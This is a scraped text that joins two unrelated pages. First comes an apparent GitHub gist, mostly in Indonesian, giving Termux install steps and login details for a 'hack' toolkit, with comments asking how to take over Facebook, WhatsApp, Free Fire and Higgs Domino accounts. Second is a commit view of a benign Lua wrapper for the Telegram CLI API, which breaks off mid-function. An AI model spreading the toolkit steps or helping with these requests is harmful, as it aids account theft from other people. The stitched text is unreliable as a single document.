upgrade $ pkg install php figlet ruby python python2 $ pip2 install lolcat $ git clone https://github.com/Rusmana-ID/rus $ cd $ cd rus $ ls $ sh v2.sh Kontak wa 083879017166 Note: user name:Rusmana Pasword:X-One Load earlier comments... husniawati commented on 3 Dec 2020 Gak bisa bang apa harus membuat file dulu atau gmn semua udah aku ikutin tapi gak bisa bisa Ruok2588 commented on 9 Dec 2020 Taiklah sya01019 commented on 12 Dec 2020 Percuma, , Ini siapa punya blog kayak babi sya01019 commented on 12 Dec 2020 Tampilan aja beda Rasa garam marco97-web commented on 22 Dec 2020 Password.a ga bisa bang Ilham619 commented on 12 Jan 2021 Bang kasih tau cara ambil akun free fire Reyhan720z commented on 13 Feb 2021 Bg sc fb nya gk work azuhry commented on 5 Mar 2021 gak ada yang work 😎 gue bisa Ilham619 commented on 5 Mar 2021 Kode termux untuk hack FB APA Pada tanggal Jum, 5 Mar 2021 01.47, azuhry <notifications@github.com> menulis: … ***@***.**** commented on this gist. ------------------------------ gak ada yang work 😎 gue bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3653833>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/ASNZOIQMA54PE3PD5QJV5LLTB7BRLANCNFSM4NBI2DHA> . MR-Bm13 commented on 15 Mar 2021 BULLSHIT LOP 28februari2005 commented on 11 May 2021 Work 100% hmm 🤔🤔🤔 28februari2005 commented on 11 May 2021 Bener work Ya dicoba 🤐🤐🤐 28februari2005 commented on 11 May 2021 Coba aja dulu baru komen jalilcy commented on 25 May 2021 Bang bisa minta tolong. Ajarkan buat hack fb. Sy ingin mengambil fb sya kena hack kazharalyu commented on 6 Jun 2021 Ada yang bisa ada yang gak bisa jalilcy commented on 6 Jun 2021 Saya ingin mengambil kembali akun facebook aku bang di hack orang Pada tanggal Min, 6 Jun 2021 18:55, kazharalyu ***@***.***> menulis: … ***@***.**** commented on this gist. ------------------------------ Ada yang bisa ada yang gak bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3770432>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AUGJUNGESYA6BKWK3RCP7V3TRNH35ANCNFSM4NBI2DHA> . wanted21 commented on 15 Jun 2021 Scrip whatsheck udh ngga bisa ya gan Cloning224 commented on 18 Jun 2021 Ada yg bisa hack akun highs Domino disini, tolong bantu saya. Saya barusan jadi korban Screenshot_2021-06-18-17-52-31-124_com higgs domino mrsimple15 commented on 24 Jun 2021 bang buatin script untuk hack cip domino tanpa pishing akun orang Muhdaghol12 commented on 1 Jul 2021 `` YudhaSaputra11 commented on 27 Jul 2021 bang yang hack wa habis ituu diapain? ardyan212 commented on 7 Nov 2021 Keren bang tools termuxnya https://www.jopamungkas.com aceptt commented on 7 Nov 2021 Mantap sehat selalu bang,top banget boyaniyan commented on 21 Nov 2021 Mantap D4K0TCH4N commented on 11 Feb Gajelas AhmadTaslimfebriyan00 commented on 28 Mar Bang cara pertama kok sering gagal bang Spilis1 commented on 18 May Ada yg bisa by pass Gmail dan ymail BLACKSTARzero commented on 31 May buat yg baru gabung di termux Ini scrft lama gk usah di ikuti MATUN091 commented on 8 Jun Iya cok ini scift lama gak usah di ikutin abssbsjhsjaj commented 18 days ago wkkwwk sc kintil kurang update Leave a comment Footer © 2022 GitHub, Inc. Footer navigation Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About You have no unread notifications
arashstar1 / Bot LuaCode Issues 0 Pull requests 0 Pulse MaTaDoR/ 3233fdf V 5.7 MaTaDoR @MaTaDoRTeaMMaTaDoRTeaM committed on GitHub about 1 month ago 2 changed files 2,704 additions and 0 deletions cli/tg/tdcli.lua @@ -0,0 +1,2704 @@ +--[[ + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, USA. + +]]-- + +-- Vector example form is like this: {[0] = v} or {v1, v2, v3, [0] = v} +-- If false or true crashed your telegram-cli, try to change true to 1 and false to 0 + +-- Main Bot Framework +local M = {} + +-- @chat_id = user, group, channel, and broadcast +-- @group_id = normal group +-- @channel_id = channel and broadcast +local function getChatId(chat_id) + local chat = {} + local chat_id = tostring(chat_id) + + if chat_id:match('^-100') then + local channel_id = chat_id:gsub('-100', '') + chat = {ID = channel_id, type = 'channel'} + else + local group_id = chat_id:gsub('-', '') + chat = {ID = group_id, type = 'group'} + end + + return chat +end + +local function getInputFile(file) + if file:match('/') then + infile = {ID = "InputFileLocal", path_ = file} + elseif file:match('^%d+$') then + infile = {ID = "InputFileId", id_ = file} + else + infile = {ID = "InputFilePersistentId", persistent_id_ = file} + end + + return infile +end + +-- User can send bold, italic, and monospace text uses HTML or Markdown format. +local function getParseMode(parse_mode) + if parse_mode then + local mode = parse_mode:lower() + + if mode == 'markdown' or mode == 'md' then + P = {ID = "TextParseModeMarkdown"} + elseif mode == 'html' then + P = {ID = "TextParseModeHTML"} + end + end + + return P +end + +-- Returns current authorization state, offline request +local function getAuthState(dl_cb, cmd) + tdcli_function ({ + ID = "GetAuthState", + }, dl_cb, cmd) +end + +M.getAuthState = getAuthState + +-- Sets user's phone number and sends authentication code to the user. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- If phone number is not recognized or another error has happened, returns an error. Otherwise returns authStateWaitCode +-- @phone_number User's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function setAuthPhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "SetAuthPhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.setAuthPhoneNumber = setAuthPhoneNumber + +-- Resends authentication code to the user. +-- Works only when authGetState returns authStateWaitCode and next_code_type of result is not null. +-- Returns authStateWaitCode on success +local function resendAuthCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendAuthCode", + }, dl_cb, cmd) +end + +M.resendAuthCode = resendAuthCode + +-- Checks authentication code. +-- Works only when authGetState returns authStateWaitCode. +-- Returns authStateWaitPassword or authStateOk on success +-- @code Verification code from SMS, Telegram message, voice call or flash call +-- @first_name User first name, if user is yet not registered, 1-255 characters +-- @last_name Optional user last name, if user is yet not registered, 0-255 characters +local function checkAuthCode(code, first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthCode", + code_ = code, + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.checkAuthCode = checkAuthCode + +-- Checks password for correctness. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @password Password to check +local function checkAuthPassword(password, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthPassword", + password_ = password + }, dl_cb, cmd) +end + +M.checkAuthPassword = checkAuthPassword + +-- Requests to send password recovery code to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateWaitPassword on success +local function requestAuthPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestAuthPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestAuthPasswordRecovery = requestAuthPasswordRecovery + +-- Recovers password with recovery code sent to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @recovery_code Recovery code to check +local function recoverAuthPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverAuthPassword", + recovery_code_ = recovery_code + }, dl_cb, cmd) +end + +M.recoverAuthPassword = recoverAuthPassword + +-- Logs out user. +-- If force == false, begins to perform soft log out, returns authStateLoggingOut after completion. +-- If force == true then succeeds almost immediately without cleaning anything at the server, but returns error with code 401 and description "Unauthorized" +-- @force If true, just delete all local data. Session will remain in list of active sessions +local function resetAuth(force, dl_cb, cmd) + tdcli_function ({ + ID = "ResetAuth", + force_ = force or nil + }, dl_cb, cmd) +end + +M.resetAuth = resetAuth + +-- Check bot's authentication token to log in as a bot. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- Can be used instead of setAuthPhoneNumber and checkAuthCode to log in. +-- Returns authStateOk on success +-- @token Bot token +local function checkAuthBotToken(token, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthBotToken", + token_ = token + }, dl_cb, cmd) +end + +M.checkAuthBotToken = checkAuthBotToken + +-- Returns current state of two-step verification +local function getPasswordState(dl_cb, cmd) + tdcli_function ({ + ID = "GetPasswordState", + }, dl_cb, cmd) +end + +M.getPasswordState = getPasswordState + +-- Changes user password. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and password change will not be applied until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed +-- @old_password Old user password +-- @new_password New user password, may be empty to remove the password +-- @new_hint New password hint, can be empty +-- @set_recovery_email Pass True, if recovery email should be changed +-- @new_recovery_email New recovery email, may be empty +local function setPassword(old_password, new_password, new_hint, set_recovery_email, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetPassword", + old_password_ = old_password, + new_password_ = new_password, + new_hint_ = new_hint, + set_recovery_email_ = set_recovery_email, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setPassword = setPassword + +-- Returns set up recovery email. +-- This method can be used to verify a password provided by the user +-- @password Current user password +local function getRecoveryEmail(password, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecoveryEmail", + password_ = password + }, dl_cb, cmd) +end + +M.getRecoveryEmail = getRecoveryEmail + +-- Changes user recovery email. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and email will not be changed until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed. +-- If new_recovery_email coincides with the current set up email succeeds immediately and aborts all other requests waiting for email confirmation +-- @password Current user password +-- @new_recovery_email New recovery email +local function setRecoveryEmail(password, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetRecoveryEmail", + password_ = password, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setRecoveryEmail = setRecoveryEmail + +-- Requests to send password recovery code to email +local function requestPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestPasswordRecovery = requestPasswordRecovery + +-- Recovers password with recovery code sent to email +-- @recovery_code Recovery code to check +local function recoverPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverPassword", + recovery_code_ = tostring(recovery_code) + }, dl_cb, cmd) +end + +M.recoverPassword = recoverPassword + +-- Returns current logged in user +local function getMe(dl_cb, cmd) + tdcli_function ({ + ID = "GetMe", + }, dl_cb, cmd) +end + +M.getMe = getMe + +-- Returns information about a user by its identifier, offline request if current user is not a bot +-- @user_id User identifier +local function getUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUser = getUser + +-- Returns full information about a user by its identifier +-- @user_id User identifier +local function getUserFull(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserFull", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUserFull = getUserFull + +-- Returns information about a group by its identifier, offline request if current user is not a bot +-- @group_id Group identifier +local function getGroup(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroup", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroup = getGroup + +-- Returns full information about a group by its identifier +-- @group_id Group identifier +local function getGroupFull(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroupFull", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroupFull = getGroupFull + +-- Returns information about a channel by its identifier, offline request if current user is not a bot +-- @channel_id Channel identifier +local function getChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannel = getChannel + +-- Returns full information about a channel by its identifier, cached for at most 1 minute +-- @channel_id Channel identifier +local function getChannelFull(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannelFull", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannelFull = getChannelFull + +-- Returns information about a secret chat by its identifier, offline request +-- @secret_chat_id Secret chat identifier +local function getSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.getSecretChat = getSecretChat + +-- Returns information about a chat by its identifier, offline request if current user is not a bot +-- @chat_id Chat identifier +local function getChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChat = getChat + +-- Returns information about a message +-- @chat_id Identifier of the chat, message belongs to +-- @message_id Identifier of the message to get +local function getMessage(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessage", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.getMessage = getMessage + +-- Returns information about messages. +-- If message is not found, returns null on the corresponding position of the result +-- @chat_id Identifier of the chat, messages belongs to +-- @message_ids Identifiers of the messages to get +local function getMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.getMessages = getMessages + +-- Returns information about a file, offline request +-- @file_id Identifier of the file to get +local function getFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getFile = getFile + +-- Returns information about a file by its persistent id, offline request +-- @persistent_file_id Persistent identifier of the file to get +local function getFilePersistent(persistent_file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFilePersistent", + persistent_file_id_ = persistent_file_id + }, dl_cb, cmd) +end + +M.getFilePersistent = getFilePersistent + +-- Returns list of chats in the right order, chats are sorted by (order, chat_id) in decreasing order. +-- For example, to get list of chats from the beginning, the offset_order should be equal 2^63 - 1 +-- @offset_order Chat order to return chats from +-- @offset_chat_id Chat identifier to return chats from +-- @limit Maximum number of chats to be returned +local function getChats(offset_order, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "GetChats", + offset_order_ = offset_order or 9223372036854775807, + offset_chat_id_ = offset_chat_id or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChats = getChats + +-- Searches public chat by its username. +-- Currently only private and channel chats can be public. +-- Returns chat if found, otherwise some error is returned +-- @username Username to be resolved +local function searchPublicChat(username, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChat", + username_ = username + }, dl_cb, cmd) +end + +M.searchPublicChat = searchPublicChat + +-- Searches public chats by prefix of their username. +-- Currently only private and channel (including supergroup) chats can be public. +-- Returns meaningful number of results. +-- Returns nothing if length of the searched username prefix is less than 5. +-- Excludes private chats with contacts from the results +-- @username_prefix Prefix of the username to search +local function searchPublicChats(username_prefix, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChats", + username_prefix_ = username_prefix + }, dl_cb, cmd) +end + +M.searchPublicChats = searchPublicChats + +-- Searches for specified query in the title and username of known chats, offline request. +-- Returns chats in the order of them in the chat list +-- @query Query to search for, if query is empty, returns up to 20 recently found chats +-- @limit Maximum number of chats to be returned +local function searchChats(query, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "SearchChats", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchChats = searchChats + +-- Adds chat to the list of recently found chats. +-- The chat is added to the beginning of the list. +-- If the chat is already in the list, at first it is removed from the list +-- @chat_id Identifier of the chat to add +local function addRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.addRecentlyFoundChat = addRecentlyFoundChat + +-- Deletes chat from the list of recently found chats +-- @chat_id Identifier of the chat to delete +local function deleteRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChat = deleteRecentlyFoundChat + +-- Clears list of recently found chats +local function deleteRecentlyFoundChats(dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChats", + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChats = deleteRecentlyFoundChats + +-- Returns list of common chats with an other given user. +-- Chats are sorted by their type and creation date +-- @user_id User identifier +-- @offset_chat_id Chat identifier to return chats from, use 0 for the first request +-- @limit Maximum number of chats to be returned, up to 100 +local function getCommonChats(user_id, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetCommonChats", + user_id_ = user_id, + offset_chat_id_ = offset_chat_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getCommonChats = getCommonChats + +-- Returns messages in a chat. +-- Automatically calls openChat. +-- Returns result in reverse chronological order, i.e. in order of decreasing message.message_id +-- @chat_id Chat identifier +-- @from_message_id Identifier of the message near which we need a history, you can use 0 to get results from the beginning, i.e. from oldest to newest +-- @offset Specify 0 to get results exactly from from_message_id or negative offset to get specified message and some newer messages +-- @limit Maximum number of messages to be returned, should be positive and can't be greater than 100. +-- If offset is negative, limit must be greater than -offset. +-- There may be less than limit messages returned even the end of the history is not reached +local function getChatHistory(chat_id, from_message_id, offset, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetChatHistory", + chat_id_ = chat_id, + from_message_id_ = from_message_id, + offset_ = offset or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChatHistory = getChatHistory + +-- Deletes all messages in the chat. +-- Can't be used for channel chats +-- @chat_id Chat identifier +-- @remove_from_chat_list Pass true, if chat should be removed from the chat list +local function deleteChatHistory(chat_id, remove_from_chat_list, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatHistory", + chat_id_ = chat_id, + remove_from_chat_list_ = remove_from_chat_list + }, dl_cb, cmd) +end + +M.deleteChatHistory = deleteChatHistory + +-- Searches for messages with given words in the chat. +-- Returns result in reverse chronological order, i. e. in order of decreasimg message_id. +-- Doesn't work in secret chats +-- @chat_id Chat identifier to search in +-- @query Query to search for +-- @from_message_id Identifier of the message from which we need a history, you can use 0 to get results from beginning +-- @limit Maximum number of messages to be returned, can't be greater than 100 +-- @filter Filter for content of searched messages +-- filter = Empty|Animation|Audio|Document|Photo|Video|Voice|PhotoAndVideo|Url|ChatPhoto +local function searchChatMessages(chat_id, query, from_message_id, limit, filter, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchChatMessages", + chat_id_ = chat_id, + query_ = query, + from_message_id_ = from_message_id, + limit_ = limit, + filter_ = { + ID = 'SearchMessagesFilter' .. filter + }, + }, dl_cb, cmd) +end + +M.searchChatMessages = searchChatMessages + +-- Searches for messages in all chats except secret chats. Returns result in reverse chronological order, i. e. in order of decreasing (date, chat_id, message_id) +-- @query Query to search for +-- @offset_date Date of the message to search from, you can use 0 or any date in the future to get results from the beginning +-- @offset_chat_id Chat identifier of the last found message or 0 for the first request +-- @offset_message_id Message identifier of the last found message or 0 for the first request +-- @limit Maximum number of messages to be returned, can't be greater than 100 +local function searchMessages(query, offset_date, offset_chat_id, offset_message_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchMessages", + query_ = query, + offset_date_ = offset_date, + offset_chat_id_ = offset_chat_id, + offset_message_id_ = offset_message_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchMessages = searchMessages + +-- Invites bot to a chat (if it is not in the chat) and send /start to it. +-- Bot can't be invited to a private chat other than chat with the bot. +-- Bots can't be invited to broadcast channel chats and secret chats. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message +-- @bot_user_id Identifier of the bot +-- @chat_id Identifier of the chat +-- @parameter Hidden parameter sent to bot for deep linking (https://api.telegram.org/bots#deep-linking) +-- parameter=start|startgroup or custom as defined by bot creator +local function sendBotStartMessage(bot_user_id, chat_id, parameter, dl_cb, cmd) + tdcli_function ({ + ID = "SendBotStartMessage", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + parameter_ = parameter + }, dl_cb, cmd) +end + +M.sendBotStartMessage = sendBotStartMessage + +-- Sends result of the inline query as a message. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message. +-- Always clears chat draft message +-- @chat_id Chat to send message +-- @reply_to_message_id Identifier of a message to reply to or 0 +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @query_id Identifier of the inline query +-- @result_id Identifier of the inline result +local function sendInlineQueryResultMessage(chat_id, reply_to_message_id, disable_notification, from_background, query_id, result_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendInlineQueryResultMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + query_id_ = query_id, + result_id_ = result_id + }, dl_cb, cmd) +end + +M.sendInlineQueryResultMessage = sendInlineQueryResultMessage + +-- Forwards previously sent messages. +-- Returns forwarded messages in the same order as message identifiers passed in message_ids. +-- If message can't be forwarded, null will be returned instead of the message. +-- UpdateChatTopMessage will not be sent, so returned messages should be used to update chat top message +-- @chat_id Identifier of a chat to forward messages +-- @from_chat_id Identifier of a chat to forward from +-- @message_ids Identifiers of messages to forward +-- @disable_notification Pass true, to disable notification about the message, doesn't works if messages are forwarded to secret chat +-- @from_background Pass true, if the message is sent from background +local function forwardMessages(chat_id, from_chat_id, message_ids, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "ForwardMessages", + chat_id_ = chat_id, + from_chat_id_ = from_chat_id, + message_ids_ = message_ids, -- vector + disable_notification_ = disable_notification, + from_background_ = 1 + }, dl_cb, cmd) +end + +M.forwardMessages = forwardMessages + +-- Changes current ttl setting in a secret chat and sends corresponding message +-- @chat_id Chat identifier +-- @ttl New value of ttl in seconds +local function sendChatSetTtlMessage(chat_id, ttl, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatSetTtlMessage", + chat_id_ = chat_id, + ttl_ = ttl + }, dl_cb, cmd) +end + +M.sendChatSetTtlMessage = sendChatSetTtlMessage + +-- Deletes messages. +-- UpdateDeleteMessages will not be sent for messages deleted through that function +-- @chat_id Chat identifier +-- @message_ids Identifiers of messages to delete +local function deleteMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.deleteMessages = deleteMessages + +-- Deletes all messages in the chat sent by the specified user. +-- Works only in supergroup channel chats, needs appropriate privileges +-- @chat_id Chat identifier +-- @user_id User identifier +local function deleteMessagesFromUser(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessagesFromUser", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.deleteMessagesFromUser = deleteMessagesFromUser + +-- Edits text of text or game message. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editMessageText(chat_id, message_id, reply_markup, text, disable_web_page_preview, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "EditMessageText", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, cmd) +end + +M.editMessageText = editMessageText + +-- Edits message content caption. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @caption New message content caption, 0-200 characters +local function editMessageCaption(chat_id, message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditMessageCaption", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageCaption = editMessageCaption + +-- Bots only. +-- Edits message reply markup. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup New message reply markup +local function editMessageReplyMarkup(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageReplyMarkup = editMessageReplyMarkup + +-- Bots only. +-- Edits text of an inline text or game message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editInlineMessageText(inline_message_id, reply_markup, text, disable_web_page_preview, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageText", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {} + }, + }, dl_cb, cmd) +end + +M.editInlineMessageText = editInlineMessageText + +-- Bots only. +-- Edits caption of an inline message content sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @caption New message content caption, 0-200 characters +local function editInlineMessageCaption(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editInlineMessageCaption = editInlineMessageCaption + +-- Bots only. +-- Edits reply markup of an inline message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +local function editInlineMessageReplyMarkup(inline_message_id, reply_markup, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageReplyMarkup", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup -- reply_markup:ReplyMarkup + }, dl_cb, cmd) +end + +M.editInlineMessageReplyMarkup = editInlineMessageReplyMarkup + + +-- Sends inline query to a bot and returns its results. +-- Unavailable for bots +-- @bot_user_id Identifier of the bot send query to +-- @chat_id Identifier of the chat, where the query is sent +-- @user_location User location, only if needed +-- @query Text of the query +-- @offset Offset of the first entry to return +local function getInlineQueryResults(bot_user_id, chat_id, latitude, longitude, query, offset, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineQueryResults", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + user_location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + query_ = query, + offset_ = offset + }, dl_cb, cmd) +end + +M.getInlineQueryResults = getInlineQueryResults + +-- Bots only. +-- Sets result of the inline query +-- @inline_query_id Identifier of the inline query +-- @is_personal Does result of the query can be cached only for specified user +-- @results Results of the query +-- @cache_time Allowed time to cache results of the query in seconds +-- @next_offset Offset for the next inline query, pass empty string if there is no more results +-- @switch_pm_text If non-empty, this text should be shown on the button, which opens private chat with the bot and sends bot start message with parameter switch_pm_parameter +-- @switch_pm_parameter Parameter for the bot start message +local function answerInlineQuery(inline_query_id, is_personal, cache_time, next_offset, switch_pm_text, switch_pm_parameter, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerInlineQuery", + inline_query_id_ = inline_query_id, + is_personal_ = is_personal, + results_ = results, --vector<InputInlineQueryResult>, + cache_time_ = cache_time, + next_offset_ = next_offset, + switch_pm_text_ = switch_pm_text, + switch_pm_parameter_ = switch_pm_parameter + }, dl_cb, cmd) +end + +M.answerInlineQuery = answerInlineQuery + +-- Sends callback query to a bot and returns answer to it. +-- Unavailable for bots +-- @chat_id Identifier of the chat with a message +-- @message_id Identifier of the message, from which the query is originated +-- @payload Query payload +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url URL to be open +local function getCallbackQueryAnswer(chat_id, message_id, text, show_alert, url, dl_cb, cmd) + tdcli_function ({ + ID = "GetCallbackQueryAnswer", + chat_id_ = chat_id, + message_id_ = message_id, + payload_ = { + ID = "CallbackQueryAnswer", + text_ = text, + show_alert_ = show_alert, + url_ = url + }, + }, dl_cb, cmd) +end + +M.getCallbackQueryAnswer = getCallbackQueryAnswer + +-- Bots only. +-- Sets result of the callback query +-- @callback_query_id Identifier of the callback query +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url Url to be opened +-- @cache_time Allowed time to cache result of the query in seconds +local function answerCallbackQuery(callback_query_id, text, show_alert, url, cache_time, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerCallbackQuery", + callback_query_id_ = callback_query_id, + text_ = text, + show_alert_ = show_alert, + url_ = url, + 